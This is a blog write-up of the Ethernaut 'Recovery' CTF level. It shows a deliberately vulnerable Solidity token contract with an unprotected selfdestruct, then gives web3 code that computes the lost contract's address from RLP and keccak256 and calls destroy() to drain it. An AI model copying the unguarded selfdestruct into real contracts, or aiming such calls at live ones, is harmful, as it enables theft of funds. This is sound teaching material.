Ethernaut: 17. Recovery
Erhan Tezcan
Posted on July 16, 2022
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
My initial solution was to check the internal transactions of the contract creation transaction of my level instance. There, we can very well see the "lost" contract address, and we will call the destroy
function there. To call a function with arguments, you need to provide a calldata
(see here). The arguments are given in chunks of 32-bytes, but the first 4 bytes of the calldata
indicate the function to be called. That is calculated by the first 4 bytes of the function's canonical form. There are several ways to find it:
- Use a tool online, such as the one I wrote.
- Write a bit of Solidity code and calculate
bytes4(keccak256("destory(address)"))
, which requires you to hand-write the canonical form. - Write a small contract and run it locally (such as Remix IDE with VM) as follows:
contract AAA {
// this is the same function from ethernaut
function destroy(address payable _to) public {
selfdestruct(_to);
}
// we can directly find its selector
function print() public pure returns (bytes4) {
return this.destroy.selector;
}
}
With any of the methods above, we find the function selector to be 0x00f55d9d
. We can then call the destroy
function as follows:
const functionSelector = '0x00f55d9d';
await web3.eth.sendTransaction({
from: player,
to: '0x559905e90cF45D7495e63dA1baEFB54d63B1436A', // the lost & found address
data: web3.utils.encodePacked(functionSelector, web3.utils.padLeft(player, 64))
})
Original Solution
Upon sending my solution to Ethernaut, I have learned the actual solution in the message afterwards! Turns out that contract addresses are deterministic and are calculated by keccack256(RLP_encode(address, nonce))
. The nonce for a contract is the number of contracts it has created. All nonce's are 0 for contracts, but they become 1 once they are created (their own creation makes the nonce 1).
Read about RLP encoding in the Ethereum docs here. We want the RLP encoding of a 20 byte address and a nonce value of 1, which corresponds to the list such as [<20 byte string>, <1 byte integer>]
.
For the string:
if a string is 0-55 bytes long, the RLP encoding consists of a single byte with value 0x80 (dec. 128) plus the length of the string followed by the string. The range of the first byte is thus 0x80, 0xb7.
For the list, with the string and the nonce in it:
if the total payload of a list (i.e. the combined length of all its items being RLP encoded) is 0-55 bytes long, the RLP encoding consists of a single byte with value 0xc0 plus the length of the list followed by the concatenation of the RLP encodings of the items. The range of the first byte is thus 0xc0, 0xf7.
This means that we will have:
[
0xC0
+ 1 (a byte for string length)
+ 20 (string length itself)
+ 1 (nonce),
0x80
+ 20 (string length),
<20 byte string>,
<1 byte nonce>
]
In short: [0xD6, 0x94, <address>, 0x01]
. We need to find the keccak256
of the packed version of this array, which we can find via:
web3.utils.soliditySha3(
'0xd6',
'0x94',
// <instance address>,
'0x01'
)
What is different with soliditySha3
rather than sha3
is that this one will encode-packed the parameters like Solidity would; hashing afterwards. The last 20 bytes of the resulting digest will be the contract address! Calling the destroy
function is same as above.
Posted on July 16, 2022
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.